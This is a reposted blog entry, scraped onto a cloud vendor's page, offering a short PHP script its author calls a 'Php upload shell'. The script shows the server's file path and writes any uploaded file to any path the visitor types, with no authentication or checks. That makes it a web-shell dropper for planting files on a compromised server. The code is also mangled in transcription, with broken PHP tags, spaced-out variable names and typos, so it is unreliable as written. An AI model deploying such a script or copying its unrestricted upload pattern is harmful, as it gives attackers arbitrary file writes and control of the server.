PHP file upload script

Source: Internet
Author: User
Tags file upload script php file upload php file upload script

 

I recently learned php and saw the file upload part. I simply wrote a php file upload script. It can be said that it is a pony and has no technical skills ~

01

 

02

 

03 <title> Php upload shell </title>

 

04

 

05 <body>

 

06

 

07 Path: <? Php echo $ _ SERVER ['script _ filename'];?> <Br/>

 

08

 

09 <form enctype = "multipart/form-data" action = "" method = "post">

 

10

 

11 Please fill in the path of the upload and the filename: <input type = "text" name = "choose" size = "50"/> <br/>

 

12

 

13 Please choose the uploaded files: <input type = "file" name = "upfile" size = "40"/> <input type = "submit" value = "Upload file"/>

 

14

 

15 </form>

 

16

 

17 <? Php

 

18

 

19 if (move_uploaded_file ($ _ FILES ['upfile'] ['tmp _ name'], $ _ POST ['choose'])

 

20 {

 

21 echo "The file upload successful ";

 

22}

 

23 else

 

24 {

 

25 if ($ _ FILES ['upfiles'] ['erro ']! = 0)

 

26 echo "The file upload failed, you can try other folder .";

 

27}

 

28

 

29?>

 

30 <br/>

 

31 Code by Str1ven <br/>

 

32 Email: str1ven@foxmail.com

 

33 </body>

 

34

From: Str1ven's Blog

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.